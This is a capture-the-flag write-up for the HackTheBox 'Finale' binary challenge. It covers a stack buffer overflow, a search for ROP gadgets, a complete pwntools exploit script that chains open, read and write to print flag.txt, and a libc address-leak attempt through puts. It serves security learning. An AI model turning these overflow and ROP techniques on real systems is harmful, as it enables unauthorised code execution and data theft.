Finale (HackTheBox)
Hey all. Today we're going to discuss the retired Finale challenge on HackTheBox. The description on HackTheBox is as follows:
It's the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!
In this write-up, we will learn about the stack, ROP chains, and prioritizing attack vectors.
Spoiler alert: if you can't find the libc version, it's not a bug.
Summary
- First looks
- Finding vulnerability primitives
- Developing the ROP chain
- Retrieving the flag
- Failed attempt
First looks
We are given an executable binary called finale
. Upon performing a dynamic analysis, we are prompted for a password which means that we'll need to do a static analysis in order to proceed.
Running pwntools' checksec
on finale
gives us:
The fields mean:
- Arch: the CPU architecture and instruction set (x86, ARM, MIPS, ...)
- RELRO: Relocation Read-Only - secures the dynamic linking process
- Stack Canaries: protects against stack buffer overflow attacks
- NX: No eXecute - write-able memory cannot be executed
- PIE: Position Independable Executable - address randomization
For a more in-depth conclusion about checksec, please visit our previous blogpost about the Blacksmith challenge on Hack The Box. The logical conclusion is that we need to perform a stack-based buffer overflow (since Stack Canaries are disabled) leading to a Return-Oriented-Programming chain (since NX is enabled).
Finding vulnerability primitives
To start, a vulnerability primitive is a building block of an exploit. A primitive can be bundled with other primitives to achieve a higher impact.
Main() analysis
In order to analyze the binary, I opened it up in Ghidra, made by the NSA. The main()
function prints 8 random bytes, asks us for a secret and calls finale()
.
As we can see, the secret for the binary is s34s0nf1n4l3b00
and finale()
gets called after the correct secret has been entered.
Finale() analysis
As said, main()
calls finale()
after the secret has been entered. This function asks us for a wish for the next year.
We are given stack leak in the form of char* buf
. Furthermore, there is a stack buffer overflow: the buffer length is 64 and we are writing 0x1000 (4096) bytes. In Ghidra we can see that the offset to the return address from the base of buf
is 0x48 bytes.
GOT
Considering checksec said No PIE (0x400000)
, we can use the Procedural Linking Table (PLT) section of the binary. This means we could open a potential flag.txt
using open()
, read()
and write()
.
Developing the ROP chain
Considering the protections in the binary listed by checksec state that No eXecute is enabled, we need to use Return Oriented Programming (ROP) chains. We want to do the following in the payload:
fd = open("flag.txt", 0);
n_read = read(3, buf, size); // 3 since fd == 3 can be expected
write(1, buf, n_read);
We have access to:
- Binary/ELF
- GOT and PLT (linked functions)
- Functions (built-in functions)
- Stack
Using print(*ELF('challenge/finale').plt.keys())
, we can see that the following functions are available in the PLT sections:
Now we have the right functions and have access to the stack (for "flag.txt"), we need to need a way to pass function arguments. The x64 calling convention states that function arguments should be passed (in order) via RDI, RSI, RDX, RCX, R8, R9. This means that we need to control the RDI, RSI, and RDX registers via pop instructions (called gadgets) in the ROP-chain in order to pass 3 arguments to open()
, read()
, and write()
. We can search for such gadgets using ropr: a blazing fast multithreaded ROP Gadget finder. Below is my search regex filter for ropr:
$ ropr -R '^pop (rdi|rsi|rdx); ret;' challenge/finale
0x004012d6: pop rdi; ret;
0x004012d8: pop rsi; ret;
Sadly, ropr can't find any gadgets for the RDX register. Even after trying many more search queries (like EDX and DX), I couldn't find any results. This means that we need to find a workaround for a high-enough RDX value for read(..., ..., size=RDX)
.
GNU Debugger (GDB)
In order to find out a way to get a high RDX value, I used GDB with the Pwndbg plug-in (please say /pwn-dbg/
and not /poʊndbæg/
as the repo proposes). To see the RDX value during runtime, we can use the GDB functions in pwntools:
As we can see, RDX is equal to 8 which means only 8 bytes of the flag get read and written to stdout. Since we need to read at least 32 bytes, we need to find a way of manipulating the RDX register. We could do this by:
- Calling
open("flag.txt", 0)
using the PLT section in the ELF (which only executes the function and immediately returns after) - Manipulate RDX
- Calling
0x4014e0
so we read() with the manipulated RDX and write() to stdout all at once.
As said, I tried finding gadgets which sadly did not work. After manually analyzing the binary I happened to see the following gadget:
As we can see, the EDX register is set to 0x54. This means we will read and write 84 bytes of the flag, which means it's more than enough and that we have completed the final part of the ROP chain:
- open@PLT("flag.txt", 0)
- finale() // to set RDX to 0x54
- Set RDI to 3
- Set RSI to the buffer buf
- JMP
0x4016e0
A.k.a.:
Retrieving the flag
So, the grant scene of the script is:
#!/usr/bin/env python3
from pwn import ELF, remote, gdb, p64, u64
import time
e = ELF('challenge/finale')
is_remote = False
if is_remote:
p = remote("167.99.204.5", 31431)
else:
p = e.process()
# 0x004012d6: pop rdi; ret;
pop_rdi = p64(0x4012d6)
# 0x004012d8: pop rsi; ret;
pop_rsi = p64(0x4012d8)
def leak_func(address):
payload = b'A'*0x48
payload += pop_rdi + p64(address) + p64(e.plt.puts) + p64(e.sym.finale)
p.sendafter(b"next year: ", payload)
p.recvuntil(b"you!\n\n") # clear buffer
return u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00'))
p.sendlineafter(b"secret phrase: ", b"s34s0nf1n4l3b00")
p.recvuntil(b"good luck: [") # clear buffer for next address read
leak = int(p.recvuntil(b"]")[:-1], 16)
print("leak @", hex(leak))
file = b'flag.txt\0'
rbp = leak - 0x5000
payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(leak)
payload += pop_rsi + p64(0)
payload += p64(e.plt.open)
payload += p64(e.sym.finale) # set RDX
p.sendafter(b"next year: ", payload)
payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(3)
payload += pop_rsi + p64(rbp-0x20)
payload += p64(0x4014e0) # read() -> write()
p.sendafter(b"next year: ", payload)
while True:
print(p.recv())
Failed attempt
In my failed attempt I tried to get remote code execution using leaked libc offsets, but it turned out that the libc version on the server was custom and it was intended to prevent this solution. I had to find out by asking the creator of the challenge.
The way we leak libc addresses is by calling puts()
in the PLT section with the argument being a libc function linked in the GOT section. So, we need to call puts(const char *string);
with argument string
via the RDI
register in AMD64. To control the RDI register, we use a ROP chain that pops RDI:
$ ropr -R 'pop rdi; ret;' challenge/finale
0x004012d6: pop rdi; ret;
==> Found 1 gadgets in 0.004 seconds
Now we can pop a GOT function address into RDI and call puts()
to leak the function offset. Let's run the following script with the server as target to get their libc version:
The output is the following:
__libc_start_main @ 0x7ff2d7c29dc0
__gmon_start__ @ 0x0
stdout @ 0x7ff2d7e1a780
stdin @ 0x7ff2d7e19aa0
strncmp @ 0x0
puts @ 0x7ff2d7c80ed0
write @ 0x7ff2d7d14a20
printf @ 0x7ff2d7c60770
alarm @ 0x7ff2d7cea5b0
close @ 0x0
read @ 0x7ff2d7d14980
srand @ 0x7ff2d7c460a0
time @ 0x7ffdaafcfc60
fflush @ 0x7ff2d7c7f1b0
setvbuf @ 0x7ff2d7c81670
open @ 0x7ff2d7d14690
__isoc99_scanf @ 0x7ff2d7c62110
rand @ 0x7ff2d7c46760
When I enter those symbols and addresses into a libc-leak website like libc.rip, I cannot find a single libc version. That means that there's a custom libc version, which means we can't call system()
since we don't have the address.